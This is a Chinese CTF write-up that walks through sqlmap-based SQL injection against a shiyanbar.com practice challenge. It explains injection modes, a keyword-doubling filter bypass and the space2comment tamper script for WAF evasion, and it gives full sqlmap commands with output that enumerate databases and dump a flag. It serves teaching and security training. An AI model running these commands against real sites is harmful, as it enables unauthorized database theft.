在学习sql注入的过程中,一开始只想着怎么手工注入,却发现手工注入的道路,说麻烦不麻烦,但是说简单也很不简单,相比win的各种注入工具之下,我更倾向于使用神器——SQLMAP。
当给sqlmap这么一个url的时候,它会:
1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据
sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
接下来,我以实验吧的三道题(win sqlmap)为例,简单的说一下使用SQLMAP的WriteUp
前期准备: kali或者win 上的 SQLMAP 工欲善其事,必先利其器
win上的SQLMAP安装过程网上都有,记得一点:下载python的版本是2.xx的,目前sqlmap还不支持3.xx。
简单的sql注入 一
先来一个最简单的查询
sqlmap.py -u http://ctf5.shiyanbar.com/423/web/?id=1 --dbs
不行,应该先手工一下,大致判断过滤规则,再出手
输入 1 and or # -- union select from where
ID: 1 or where
name: baloteli
从id项看出有几个已经被过滤掉了,而且是直接把关键字给去掉,那么可以用类似ab(abc)c来绕过过滤,abc是要绕过的关键字,使用时不加括号,这里加括号只是为了区分.
这里我们会用到tamper,是python写的,sqlmap一般自带,主要的作用是绕过WAF
空格被过滤可以使用space2comment.py,过滤系统对大小写敏感可以使用randomcase.py等等
既然过滤了空格 ,那么我们用sqlmap的tamper脚本里的
脚本名:space2comment.py
作用:Replaces space character (‘ ‘) with comments ‘/**/’12345
Example:* Input: SELECT id FROM users*
Output: SELECT//id//FROM/**/usersTested
against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0
输入
sqlmap.py -u http://ctf5.shiyanbar.com/423/web/?id=1 --tamper space2comment --dbs
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 9
(这里的最大线程为10 我输入为9)
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit] s
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
最终跑出
available databases [3]:
[*] information_schema
[*] test
[*] web1
flag在web1中,我们继续
sqlmap.py -u http://ctf5.shiyanbar.com/423/web/?id=1 --tamper space2comment -D web1 --table
跑啊跑
Database: web1
[1 table]
+------+
| flag |
+------+
跑啊跑
sqlmap.py -u http://ctf5.shiyanbar.com/423/web/?id=1 --tamper space2comment -D web1 -T flag --columns
Database: web1
Table: flag
[3 columns]
+---------+-------------+
| Column | Type |
+---------+-------------+
| alertid | numeric |
| flag | non-numeric |
| id | numeric |
+---------+-------------+
next
sqlmap.py -u http://ctf5.shiyanbar.com/423/web/?id=1 --tamper space2comment -D web1 -T flag -C flag --dump
Database: web1
Table: flag
[1 entry]
+----------------------------+
| flag |
+----------------------------+
| flag{Y0u_@r3_5O_dAmn_90Od} |
+----------------------------+
ok了 flag得出了
注意
在跑的时候会有提示:[CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
这种情况下
1.电脑网络通不通。
2.目标网站是否能访问。
3.试试其他网站可不可以。
如果以上都没问题,就是被waf限制了
继续等着跑完啊